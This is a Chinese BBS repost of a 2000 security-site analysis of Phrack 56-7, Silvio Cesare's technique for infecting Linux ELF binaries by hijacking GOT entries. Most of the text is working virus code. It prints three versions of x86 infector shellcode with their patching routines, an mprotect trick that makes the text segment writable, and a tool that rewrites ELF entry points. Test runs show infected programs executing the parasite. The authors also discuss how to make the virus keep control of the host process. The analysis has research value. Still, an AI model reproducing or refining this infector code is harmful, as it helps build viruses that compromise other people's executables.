荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: ainny (为何要走到这一步), 信区: Hacker
标  题: Phrack56-7深度分析报告
发信站: BBS 荔园晨风站 (Mon Jun 26 06:49:59 2000), 转信


  安全技术 绿盟月刊 防毒天地 安全论坛 安全产品交易平台 首页


安全漏洞 业界新闻 安全文摘 工具介绍 绿盟原创

安全文摘
 所有系统 Linux UNIX Windows Other





Phrack56-7深度分析报告

发布日期: 2000-6-23
内容:
--------------------------------------------------------------------------------



作者:小四 (scz@isbase.com),袁哥 (yuange@isbase.com)
出处:http://www.isbase.com
主页:http://www.isbase.com
日期:2000-6-9


★ 前言

    下面的讨论假设你已经看过Phrack56-7,如果没有请自行参看。
    主要就Phrack56-7病毒代码如何保持控制权、如何不影响原有库函数功能做一纯
    技术性讨论。

★ 保护模式下的一些技术讨论(袁哥)

设置文本段可写是非常重要的一项技术,因为我们的病毒代码需要不断修改GOT入口,
而这是文本段内容,通常文本段是不可写的。此外病毒代码本身位于文本段,而且做
了自修改处理,比如保存oldcall的4字节。

通常情况下看到的内存布局是这样的:

[scz@ /home/scz]> cat /proc/<pid>/maps
08048000-08049000 r-xp 00000000 03:06 151047     /home/scz/src/host_1
08049000-0804a000 rw-p 00000000 03:06 151047     /home/scz/src/host_1

设置文本段可写之后看到的内存布局是这样的:

[scz@ /home/scz]> cat /proc/<pid>/maps
08048000-08049000 rwxp 00000000 03:06 151217     /home/scz/src/host_1
08049000-0804a000 rwxp 00000000 03:06 151217     /home/scz/src/host_1

注意到现在数据段有了x权限,袁哥就此给出了技术说明。

--------------------------------------------------------------------------
"\xb8\x7d\x00\x00\x00"  /*  movl   $125,%eax        */
"\xbb\x00\x80\x04\x08"  /*  movl   $text_start,%ebx */
"\xb9\x00\x40\x00\x00"  /*  movl   $0x4000,%ecx     */
"\xba\x07\x00\x00\x00"  /*  movl   $7,%edx          */
"\xcd\x80"              /*  int    $0x80            */
--------------------------------------------------------------------------

EAX=125 INT80H 自然不用说,一个是功能号,一个是中断调用。
EBX=8048000H,显然是设置页面属性的起始地址,这儿是代码段起始地址。
ECX=4000H,大家想想8048000H本身不是代码段的标识,那么这儿系统调用的功能显
然不是设置代码段属性,应该是设置一段内存的页表属性,看看这段代码很自然地估
计ECX是设置页面属性的长度,EBX是起始地址。
EDX=7,这大家马上就能猜到是页面属性了吧。二进制的111,估计是可执行、可写、
可读三位。现在回头看看,08049000-0804A000也变成可执行,不难理解了吧。代码
段要变回去只读,不用我说了。

ok,在袁哥的技术支持下,我们重新调整代码:

--------------------------------------------------------------------------
"\xb8\x7d\x00\x00\x00"  /*  movl   $125,%eax        */
"\xbb\x00\x80\x04\x08"  /*  movl   $text_start,%ebx */
"\xb9\x00\x10\x00\x00"  /*  movl   $0x1000,%ecx     */
"\xba\x03\x00\x00\x00"  /*  movl   $3,%edx          */
"\xcd\x80"              /*  int    $0x80            */
--------------------------------------------------------------------------

[scz@ /home/scz]> cat /proc/<pid>/maps
08048000-08049000 rw-p 00000000 03:06 151217     /home/scz/src/host_1
08049000-0804a000 rw-p 00000000 03:06 151217     /home/scz/src/host_1

二进制的011分别对应了x、w、r三种权限,正是袁哥所判断的顺序,注意与通常Unix
文件权限反序了。

需要提醒大家的是,尽管现在文本段没有了x权限,但./host_1被./infect_1感染后,
依旧可以达到效果。显然在x权限的保护上,完全由段描述符完成,页描述符无法完
成x权限保护,而文本段自然是可以执行的,段寄存器所对应的段描述符是可执行段
描述符。关于保护模式这方面的知识,我就不献丑了,请坏大兔子哥哥自己出山吧。

★ 讨论

Silvio Cesare文中给出的例子代码有几处小问题,我修改得到两个infect_0.c和
infect_1.c。主要修改地方如下:

--------------------------------------------------------------------------
/* infect_0.c */

static char virus[] =
// 保存寄存器
"\x60"                  /*  pusha                   */
// 设置文本段可写,这招很黑,可以用在其他地方 */
"\xb8\x7d\x00\x00\x00"  /*  movl   $125,%eax        */
"\xbb\x00\x80\x04\x08"  /*  movl   $text_start,%ebx */
"\xb9\x00\x40\x00\x00"  /*  movl   $0x4000,%ecx     */
"\xba\x07\x00\x00\x00"  /*  movl   $7,%edx          */
"\xcd\x80"              /*  int    $0x80            */
// plt对应printf的GOT入口地址
"\xa1\x00\x00\x00\x00"  /*  movl   plt,%eax         */
// oldcall对应原始GOT入口 */
"\xa3\x00\x00\x00\x00"  /*  movl   %eax,oldcall     */
// newcall对应感染后的GOT入口 */
"\xc7\x05\x00\x90\x04"  /*  movl   $newcall,plt     */
"\x08\x00\x00\x00\x00"
// 恢复寄存器
"\x61"                  /*  popa                    */
// 流程转向宿主程序原入口点
"\xbd\x00\x80\x04\x08"  /*  movl   $entry,%ebp      */
"\xff\xe5"              /*  jmp    *%ebp            */

// newcall:

"\xeb\x35"              /*  jmp msg_jmp             */
// msg_call:
// 这个popl后堆栈已经平衡
"\x59"                  /*  popl    %ecx            */  <-- 字符串地址
// 输出我们自己的字符串
"\xb8\x04\x00\x00\x00"  /*  movl    $4,%eax         */  <-- 功能号
"\xbb\x01\x00\x00\x00"  /*  movl    $1,%ebx         */
"\xba\x0e\x00\x00\x00"  /*  movl    $6,%edx         */  <-- 字符串长度,不包括\0
"\xcd\x80"              /*  int     $0x80           */
"\x61"                  /*  popa                    */
"\xb8\x00\x00\x00\x00"  /*  movl    $oldcall,%eax   */
"\xa3\x00\x00\x00\x00"  /*  movl    %eax,plt        */  <-- 此时该句已经无用
// 这个地方是不能call的,原因请看p56-7深度分析报告
"\xff\xe0"              /*  jmp     *%eax           */  <-- 这里jmp后流程不再回

"\xa1\x00\x00\x00\x00"  /*  movl    plt,%eax        */      病毒代码
"\xa3\x00\x00\x00\x00"  /*  movl    %eax,oldcall    */
"\xc7\x05\x00\x00\x00"  /*  movl    $newcall,plt    */
"\x08\x00\x00\x00\x00"
"\x58"                  /*  popl    %eax            */
"\xc3"                  /*  ret                     */
// msg_jmp:
"\x60"                  /*  pusha                   */
"\xe8\xc5\xff\xff\xff"  /*  call    msg_call        */
"virus\n"
;

int init_virus ( int plt, int offset, int text_start, int data_start, int
data_memsz, int entry )
{
    /* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */
    int code_start = data_start + data_memsz;
    int oldcall    = code_start + 73;
    int newcall    = code_start + 51;

    *(int *)&virus[7]   = text_start;  // 设置文本段可写
    *(int *)&virus[24]  = plt;         // printf的GOT入口地址
    *(int *)&virus[29]  = oldcall;     // 原始GOT入口
    *(int *)&virus[35]  = plt;
    *(int *)&virus[39]  = newcall;     // 感染后的GOT入口
    *(int *)&virus[45]  = entry;       // 这里的程序入口点是原程序入口点

    *(int *)&virus[73]  = oldcall;
    *(int *)&virus[78]  = plt;
    *(int *)&virus[85]  = plt;
    *(int *)&virus[90]  = oldcall;
    *(int *)&virus[96]  = plt;
    *(int *)&virus[100] = newcall;

    /* 结论是令人沮丧的、不可捉摸的 */
    return( SUCCESS );
}  /* end of init_virus */
--------------------------------------------------------------------------

--------------------------------------------------------------------------
/* infect_1.c */

static char virus[] =
// 保存寄存器
"\x60"                  /*  pusha                   */
// 设置文本段可写,这招很黑,可以用在其他地方 */
"\xb8\x7d\x00\x00\x00"  /*  movl   $125,%eax        */
"\xbb\x00\x80\x04\x08"  /*  movl   $text_start,%ebx */
"\xb9\x00\x40\x00\x00"  /*  movl   $0x4000,%ecx     */
"\xba\x07\x00\x00\x00"  /*  movl   $7,%edx          */
"\xcd\x80"              /*  int    $0x80            */
// plt对应printf的GOT入口地址
"\xa1\x00\x00\x00\x00"  /*  movl   plt,%eax         */
// oldcall对应原始GOT入口 */
"\xa3\x00\x00\x00\x00"  /*  movl   %eax,oldcall     */
// newcall对应感染后的GOT入口 */
"\xc7\x05\x00\x90\x04"  /*  movl   $newcall,plt     */
"\x08\x00\x00\x00\x00"
// 恢复寄存器
"\x61"                  /*  popa                    */
// 流程转向宿主程序原入口点
"\xbd\x00\x80\x04\x08"  /*  movl   $entry,%ebp      */
"\xff\xe5"              /*  jmp    *%ebp            */

// newcall:

"\xeb\x39"              /*  jmp msg_jmp             */
// msg_call:
// 这个popl后堆栈已经平衡
"\x59"                  /*  popl    %ecx            */
// 输出我们自己的字符串
"\xb8\x04\x00\x00\x00"  /*  movl    $4,%eax         */
"\xbb\x01\x00\x00\x00"  /*  movl    $1,%ebx         */
"\xba\x0e\x00\x00\x00"  /*  movl    $6,%edx         */
"\xcd\x80"              /*  int     $0x80           */
"\xb8\x00\x00\x00\x00"  /*  movl    $oldcall,%eax   */
"\xa3\x00\x00\x00\x00"  /*  movl    %eax,plt        */
// 袁哥的技术支持
"\xff\x74\x24\x24"      /*  pushl   +36(%esp)       */  <-- 注意这里和后面的区别
// 如果这个地方一定要call,有很多限制
// 如果这个地方不call,又有新的问题,请看p56-7深度分析报告
"\xff\xd0"              /*  call    *%eax           */  <-- 由于使用call指令,流

"\xa1\x00\x00\x00\x00"  /*  movl    plt,%eax        */      仍然会回到病毒代码,

"\xa3\x00\x00\x00\x00"  /*  movl    %eax,oldcall    */      对堆栈的限制性要求增

"\xc7\x05\x00\x00\x00"  /*  movl    $newcall,plt    */
"\x08\x00\x00\x00\x00"
"\x58"                  /*  popl    %eax            */
"\x61"                  /*  popa                    */
"\xc3"                  /*  ret                     */
// msg_jmp:
"\x60"                  /*  pusha                   */
"\xe8\xc1\xff\xff\xff"  /*  call    msg_call        */
"virus\n"
;

int init_virus ( int plt, int offset, int text_start, int data_start, int
data_memsz, int entry )
{
    /* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */
    int code_start = data_start + data_memsz;
    int oldcall    = code_start + 72;
    int newcall    = code_start + 51;

    *(int *)&virus[7]   = text_start;  // 设置文本段可写
    *(int *)&virus[24]  = plt;         // printf的GOT入口地址
    *(int *)&virus[29]  = oldcall;     // 原始GOT入口
    *(int *)&virus[35]  = plt;
    *(int *)&virus[39]  = newcall;     // 感染后的GOT入口
    *(int *)&virus[45]  = entry;       // 这里的程序入口点是原程序入口点

    *(int *)&virus[72]  = oldcall;
    *(int *)&virus[77]  = plt;
    *(int *)&virus[88]  = plt;
    *(int *)&virus[93]  = oldcall;
    *(int *)&virus[99]  = plt;
    *(int *)&virus[103] = newcall;

    /* 结论是令人沮丧的、不可捉摸的 */
    return( SUCCESS );
}  /* end of init_virus */
--------------------------------------------------------------------------

Silvio Cesare的infect_2.c相关代码如下:

--------------------------------------------------------------------------
/* infect_2.c */
static char virus[] =
// 保存寄存器
"\x60"                  /*  pusha                   */
// 设置文本段可写,这招很黑,可以用在其他地方 */
"\xb8\x7d\x00\x00\x00"  /*  movl   $125,%eax        */
"\xbb\x00\x80\x04\x08"  /*  movl   $text_start,%ebx */
"\xb9\x00\x40\x00\x00"  /*  movl   $0x4000,%ecx     */
"\xba\x07\x00\x00\x00"  /*  movl   $7,%edx          */
"\xcd\x80"              /*  int    $0x80            */
// plt对应printf的GOT入口地址
"\xa1\x00\x00\x00\x00"  /*  movl   plt,%eax         */
// oldcall对应原始GOT入口 */
"\xa3\x00\x00\x00\x00"  /*  movl   %eax,oldcall     */
// newcall对应感染后的GOT入口 */
"\xc7\x05\x00\x90\x04"  /*  movl   $newcall,plt     */
"\x08\x00\x00\x00\x00"
// 恢复寄存器
"\x61"                  /*  popa                    */
// 流程转向宿主程序原入口点
"\xbd\x00\x80\x04\x08"  /*  movl   $entry,%ebp      */
"\xff\xe5"              /*  jmp    *%ebp            */

// newcall:

"\xeb\x38"              /*  jmp msg_jmp             */
// msg_call:
// 这个popl后堆栈已经平衡
"\x59"                  /*  popl    %ecx            */
// 输出我们自己的字符串
"\xb8\x04\x00\x00\x00"  /*  movl    $4,%eax         */
"\xbb\x01\x00\x00\x00"  /*  movl    $1,%ebx         */
"\xba\x0e\x00\x00\x00"  /*  movl    $6,%edx         */
"\xcd\x80"              /*  int     $0x80           */
"\xb8\x00\x00\x00\x00"  /*  movl    $oldcall,%eax   */
"\xa3\x00\x00\x00\x00"  /*  movl    %eax,plt        */
"\xff\x75\xfc"          /*  pushl   -4(%ebp)        */  <-- 注意这里和前面的区别
// 如果这个地方一定要call,有很多限制
// 如果这个地方不call,又有新的问题,请看p56-7深度分析报告
"\xff\xd0"              /*  call    *%eax           */
"\xa1\x00\x00\x00\x00"  /*  movl    plt,%eax        */
"\xa3\x00\x00\x00\x00"  /*  movl    %eax,oldcall    */
"\xc7\x05\x00\x00\x00"  /*  movl    $newcall,plt    */
"\x08\x00\x00\x00\x00"
"\x58"                  /*  popl    %eax            */
"\x61"                  /*  popa                    */
"\xc3"                  /*  ret                     */
// msg_jmp:
"\x60"                  /*  pusha                   */
"\xe8\xc2\xff\xff\xff"  /*  call    msg_call        */
"virus\n"
;

int init_virus ( int plt, int offset, int text_start, int data_start, int
data_memsz, int entry )
{
    /* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */
    int code_start = data_start + data_memsz;
    int oldcall    = code_start + 72;
    int newcall    = code_start + 51;

    *(int *)&virus[7]   = text_start;  // 设置文本段可写
    *(int *)&virus[24]  = plt;         // printf的GOT入口地址
    *(int *)&virus[29]  = oldcall;     // 原始GOT入口
    *(int *)&virus[35]  = plt;
    *(int *)&virus[39]  = newcall;     // 感染后的GOT入口
    *(int *)&virus[45]  = entry;       // 这里的程序入口点是原程序入口点

    *(int *)&virus[72]  = oldcall;
    *(int *)&virus[77]  = plt;
    *(int *)&virus[87]  = plt;
    *(int *)&virus[92]  = oldcall;
    *(int *)&virus[98]  = plt;
    *(int *)&virus[102] = newcall;

    /* 结论是令人沮丧的、不可捉摸的 */
    return( SUCCESS );
}  /* end of init_virus */
--------------------------------------------------------------------------

病毒代码取得整个进程的总入口点,这是通过静态修改elf文件做到的。当执行一个
感染后的elf文件时,一般操作系统会向内存调入elf文件,并从总入口点开始执行一
些初始化代码。一般总入口点是_start,链接的时候可以修改这个总入口点。当初始
化代码执行完毕就到了我们通常理解下的main()函数入口点。值得注意的是,gdb调
入感染文件时,总入口点尚未进入,此时查看GOT入口,还是正常的。但是,如果你
b main设置断点,run一下,此时流程早已经过总入口点,GOT入口已经被寄生代码修
改。如果一定要设置断点观察病毒代码,必须直接设置在总入口点上。可以用下面提
供的lookentry.c看到当前总入口点,然后在gdb里设置相应断点。

--------------------------------------------------------------------------
/*
* File    : lookentry.c
* Author  : Silvio Cesare < mailto: silvio@big.net.au >
* Rewriten: scz < mailto: scz@isbase.com >
* Compile : gcc -O3 -o lookentry lookentry.c
* Date    : 2000-06-07
*/

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <elf.h>  /* 很重要的头文件 */
#include <string.h>
#include <stdlib.h>

#define SUCCESS  0
#define FAILURE -1

void lookelf ( int fd, Elf32_Ehdr * ehdr )
{
    /* 读取 elf header */
    if ( read( fd, ehdr, sizeof( Elf32_Ehdr ) ) != sizeof( Elf32_Ehdr ) )
    {
        perror( "read" );
        exit( FAILURE );
    }
    /* Magic number and other info */
    /* 检查是否是ELF文件格式,比较魔术数实现,file命令正是利用了这个 */
    if ( strncmp( ehdr->e_ident, ELFMAG, SELFMAG ) )
    {
        fprintf( stderr, "File not ELF\n" );
        exit( FAILURE );
    }
    /* 是可执行文件、动态链接库否 */
    if ( ( ehdr->e_type != ET_EXEC ) && ( ehdr->e_type != ET_DYN ) )
    {
        fprintf( stderr, "ELF type not ET_EXEC or ET_DYN\n" );
        exit( FAILURE );
    }
    /* i386架构否,难道没有586? */
    if ( ( ehdr->e_machine != EM_386 ) && ( ehdr->e_machine != EM_486 ) )
    {
        fprintf( stderr, "ELF machine type not EM_386 or EM_486\n" );
        exit( FAILURE );
    }
    if ( ehdr->e_version != EV_CURRENT )
    {
        fprintf( stderr, "ELF version not current\n" );
        exit( FAILURE );
    }
    return;
}  /* end of lookelf */

int main ( int argc, char * argv[] )
{
    int        fd;
    Elf32_Ehdr ehdr;  /* elf header */

    if ( ( argc != 2 ) && ( argc != 3 ) )
    {
        fprintf( stderr, "Usage: %s <filename> [hex_entry]\n", argv[0] );
        exit( FAILURE );
    }
    if ( argc == 2 )  /* 仅仅查看entry */
    {
        fd = open( argv[1], O_RDONLY );
        if ( fd < 0 )
        {
            perror( "open" );
            exit( FAILURE );
        }
        lookelf( fd, &ehdr );
        fprintf( stderr, "Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry );
    }
    else  /* 修正entry */
    {
        fd = open( argv[1], O_RDWR );
        if ( fd < 0 )
        {
            perror( "open" );
            exit( FAILURE );
        }
        lookelf( fd, &ehdr );
        fprintf( stderr, "Old Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry )
;
        if ( lseek( fd, 0, SEEK_SET ) < 0 )
        {
            perror( "lseek" );
            exit( FAILURE );
        }
        ehdr.e_entry = strtoul( argv[2], NULL, 16 );  /* 采用16进制 */
        if ( write( fd, &ehdr, sizeof( Elf32_Ehdr ) ) != sizeof( Elf32_Ehdr ) )
        {
            perror( "write" );
            exit( FAILURE );
        }
        fprintf( stderr, "New Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry )
;
    }
    return( SUCCESS );
}  /* end of main */
/*
[scz@ /home/scz/src]> gcc -O3 -o lookentry lookentry.c
[scz@ /home/scz/src]> strip lookentry
[scz@ /home/scz/src]> ./lookentry ./lookentry
Entry point (./lookentry): 0x80484f0
[scz@ /home/scz/src]>
*/
--------------------------------------------------------------------------

对于printf( "hehe\n" );这样的语句来说,call指令之前先压栈传递了一个参数,
Silvio Cesare正是针对这种最简单情形来编写病毒代码的。即使如此,还是错误地
假设了堆栈里的很多情况,使用pushl -4(%ebp)这样的代码。他假设printf的主调函
数中在调用printf之前没有其他堆栈操作,偏偏编译器在优化开关打开时产生的代码
很可能影响堆栈。

--------------------------------------------------------------------------
/* host_1.c */
int main ( int argc, char * argv[] )
{
    printf( "hi\n" );
    printf( "hehe\n" );
    printf( "haha\n" );
    return;
}  /* end of main */
--------------------------------------------------------------------------

如果我们采用gcc -O3 -o host_1 host_1.c编译,得到汇编代码如下:

--------------------------------------------------------------------------
0x80483c8 <main>   :    push   %ebp
0x80483c9 <main+1> :    mov    %esp,%ebp
0x80483cb <main+3> :    push   $0x8048440
0x80483d0 <main+8> :    call   0x8048308 <printf>
0x80483d5 <main+13>:    push   $0x8048444
0x80483da <main+18>:    call   0x8048308 <printf>
0x80483df <main+23>:    push   $0x804844a
0x80483e4 <main+28>:    call   0x8048308 <printf>
0x80483e9 <main+33>:    leave
0x80483ea <main+34>:    ret
--------------------------------------------------------------------------

由于优化开关-O3的影响,call之前为了传递参数而做的压栈操作并没有在call返回
之后立即做平衡堆栈处理,而是在主调函数的最后利用leave指令平衡堆栈。leave指
令相当于mov ebp --> esp,pop ebp。

gcc -o host_1 host_1.c编译得到汇编代码如下:

--------------------------------------------------------------------------
0x80483d0 <main>   :    push   %ebp
0x80483d1 <main+1> :    mov    %esp,%ebp
0x80483d3 <main+3> :    push   $0x8048460
0x80483d8 <main+8> :    call   0x8048308 <printf>
0x80483dd <main+13>:    add    $0x4,%esp  <-- -- -- 这里在平衡堆栈
0x80483e0 <main+16>:    push   $0x8048464
0x80483e5 <main+21>:    call   0x8048308 <printf>
0x80483ea <main+26>:    add    $0x4,%esp  <-- -- -- 这里在平衡堆栈
0x80483ed <main+29>:    push   $0x804846a
0x80483f2 <main+34>:    call   0x8048308 <printf>
0x80483f7 <main+39>:    add    $0x4,%esp  <-- -- -- 这里在平衡堆栈
0x80483fa <main+42>:    jmp    0x8048400 <main+48>
0x80483fc <main+44>:    lea    0x0(%esi,1),%esi
0x8048400 <main+48>:    leave
0x8048401 <main+49>:    ret
--------------------------------------------------------------------------

事实上printf库函数本身并不对形参压栈做平衡堆栈操作,而是由主调函数自己决定
如何平衡堆栈。可以用gdb跟踪,并不断用i r ebp esp观察堆栈指针变换。此时虽然
每次call指令之后都有平衡堆栈操作,但主调函数的最后依旧使用了leave指令,这
是提高安全性的考虑,万一堆栈失衡还能补救。

说点题外话。编译器很狡猾,即使使用优化开关-O3,位于大循环中的printf语句,
编译得到的call指令之后始终立即平衡堆栈。什么意思,如果这里不平衡堆栈,就会
导致堆栈向低端疯狂生长,你说什么意思。显然编译器的优化开关会带来很多问题,
这也是书本建议不是绝对必要不要使用优化开关的原因。

现在问题出来了,如果printf的主调函数里只有一次printf调用,尚可将就,如果有
两次、三次呢,堆栈不断向低端生长,pushl -4(%ebp)的结果就是不断地重复显示第
一条printf语句的输出。我没有观察其他函数调用,但完全存在这样的可能,就是主
调函数里其他函数调用本身并不平衡堆栈,而是留待主调函数结束的时候执行
leave指令,那么如果printf调用前发生了其他库函数调用,pushl -4(%ebp)就更离
题万里,很可能导致segment fault。为了解决这个混帐问题,我修改该处代码为
pushl +36(%esp),现在的cpu已经支持这样的指令(在想什么,DOS吗?),不过可能
某些编译器依旧不支持这个汇编语法,于是我恭请坏大兔子哥哥出山,在SoftIce下
得到4字节的机器码。加36的意思是前面有个pusha操作,压栈了8个寄存器,总共32
个字节,再加上主调函数里call指令本身压栈的eip寄存器,就是36字节。

对于gcc -O3 -o host_1 host_1.c得到的程序,用infect_0、infect_1、infect_2分
别测试如下:

[scz@ /home/scz/src]> ./infect_0 ./host_1
[scz@ /home/scz/src]> ./host_1
virus  <-- 只输出了一次
hi
hehe
haha
[scz@ /home/scz/src]>

[scz@ /home/scz/src]> ./infect_1 ./host_1
[scz@ /home/scz/src]> ./host_1
virus
hi
virus  <-- 期望效果达到
hehe
virus
haha
[scz@ /home/scz/src]>

[scz@ /home/scz/src]> ./infect_2 ./host_1
[scz@ /home/scz/src]> ./host_1
virus
hi  <-- 反复输出第一条printf语句
virus
hi  <-- 反复输出第一条printf语句
virus
hi  <-- 反复输出第一条printf语句
[scz@ /home/scz/src]>

Silvio Cesare在理论介绍中提到要保护寄存器,但给的例子代码并没有保护寄存器,
而这里ebx需要保护,此外ebp实际上更重要,将来leave指令是需要正确的ebp寄存器
才能平衡堆栈的。作者不知道是有意还是无意,在初始化病毒代码的时候出现了一些
异常,请自行比较infect_0.c、infect_1.c与Phrack56-7不同点。

infect_0.c里可以处理printf( "%s, %s, %s\n", ... );这种相对复杂的情况,而作
者提供的代码显然不能处理。因为printf有几个参数就需要在call之前压栈几次,
我们不可能在病毒代码里完整地重现压栈过程,你不知道究竟压过几次栈,也就无法
从堆栈中定位这些参数。我们所能做的就是恢复堆栈到刚刚执行call指令之后的状态,
然后jmp到原来的GOT入口,利用原来的堆栈结构。infect_0.c达到了这种效果,同样
这里需要保护ebx寄存器。可是这样处理意味着只能在第一次调用printf时有效,因
为利用原来的堆栈结构并jmp过去的话,返回的时候流程直接回到主调函数,不再经
过病毒代码,可是动态链接器会在第一次调用printf之后修改GOT入口,我们的病毒
代码失去控制权。你也不能在利用原堆栈结构的情况下call过去,call指令本身会压
栈,实际就破坏了原堆栈结构。没有好办法解决这个问题,所以我在注释中提到,结
论是令人沮丧的,infect_0.c的这种技术只具有研究性质,不大可能实战。演示效果
已经在前面给过了,回头再看看?

infect_1.c只能处理printf( "..." );这种最简单的情况。因为保护过寄存器、提供
pushl +36(%esp)这样的指令,同时是call原GOT入口,所以可以有效处理多次printf
的情形,总能保证主调函数调用printf的时候经过我们的病毒代码。第一次printf之
后动态链接器虽然修改了GOT入口,但从正常printf流程返回时经过我们的病毒代码,
在返回到主调函数之前,我们再次提取保存了当前GOT入口,并修改GOT入口重新指向
病毒代码,从而保证以后主调函数调用printf的时候还能获得控制权。infect_1.c的
这种技术比infect_0.c的还要糟糕,严重假设了宿主代码只使用printf( "..." );而
没有其他复杂用法,一旦宿主代码使用了printf的复杂用法,就要出乱子,堆栈不是
正确调用所期望的状态。

个人认为infect_0.c尚可一试,至少能普遍适用各种printf用法,虽然只能获得一次
控制权,已经足够做一些事情。

这里要提到LD_BIND_NOW环境变量,如果其值非空,在流程进入main()之前会修正GOT
入口,反之留待第一次调用printf之后由动态链接器修正。这个可以通过b main设置
断点,观察LD_BIND_NOW环境变量存在和不存在两种情况下的区别。有人可能想到
infect_0.c之所以只能取得一次控制权,就在于动态链接器在第一次调用printf之后
修改了GOT入口,那么设置LD_BIND_NOW环境变量后不就解决问题了吗。遗憾的是,我
们的病毒初始化代码在总入口点上,比判断LD_BIND_NOW环境变量并修正GOT入口的正
常初始化代码还要早,即使设置了这个环境变量,对于我们的病毒初始化代码,所保
存并企图反复利用的原GOT入口并不是期望的那个通过动态链接器修正得到的GOT入口,
于是问题依旧。尽管如此,还是加深了对这个环境变量的理解,遗憾中小有补偿。

我们仍以host_1.c为例说明一下LD_BIND_NOW环境变量的作用:

[scz@ /home/scz/src]> gcc -O3 -o host_1 host_1.c
[scz@ /home/scz/src]> export LD_BIND_NOW=1
[scz@ /home/scz/src]> gdb ./host_1
(gdb) disas printf
0x8048308 <printf>   :  jmp    *0x8049488  <-- PLT入口
0x804830e <printf+6> :  push   $0x18
0x8048313 <printf+11>:  jmp    0x80482c8 <_init+48>
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804830e  <-- GOT入口
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/scz/src/./host_1

Breakpoint 1, 0x80483cb in main ()
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>:   0x40064f4c  <-- 已经被初始化代
(gdb)                                                   码修改

虽然还没有调用printf库函数,但因为LD_BIND_NOW环境变量值非空,host_1的初始
化代码早在进入main()之前就修改了GOT入口。

[scz@ /home/scz/src]> unset LD_BIND_NOW
[scz@ /home/scz/src]> gdb ./host_1
(gdb) disas printf
Dump of assembler code for function printf:
0x8048308 <printf>:     jmp    *0x8049488
0x804830e <printf+6>:   push   $0x18
0x8048313 <printf+11>:  jmp    0x80482c8 <_init+48>
End of assembler dump.
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804830e
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/scz/src/./host_1

Breakpoint 1, 0x80483cb in main ()
(gdb) x 0x8049488
0x8049488 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804830e  <-- 留待第一次调用
(gdb)                                                   printf时修改

这次因为没有设置环境变量,所以GOT入口留待第一次调用printf时由动态链接器修
改。

当然我们不该忘记LD_PRELOAD环境变量,关于该环境变量请参看以前在华中的一瓢灌
水<< LD_PRELOAD使用的初步探讨(1) >>。该变量的最终效果类似于这里的病毒效果,
可以比较两种技术的优缺点。

★ 后记

还有很多很好的设想有待实现,本文只针对p56-7做技术性探讨。关于GOT和PLT请自
行参看tt的<<绕过Linux不可执行堆栈保护>>一文,本文不再赘述,关于ELF文件格
式,请参考前面翻译的<<Unix/ELF文件格式及病毒分析>>。对于p56-7,如有疑问欢
迎讨论。

<完>







版权所有,未经许可,不得转载 错误 'ASP 0113'

脚本超时

/showQueryL.asp

超过了脚本运行的最长时间。您可以通过指定 Server.ScriptTimeOut 属性值来修改此限制
或用 IIS 管理工具来修改它。



--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店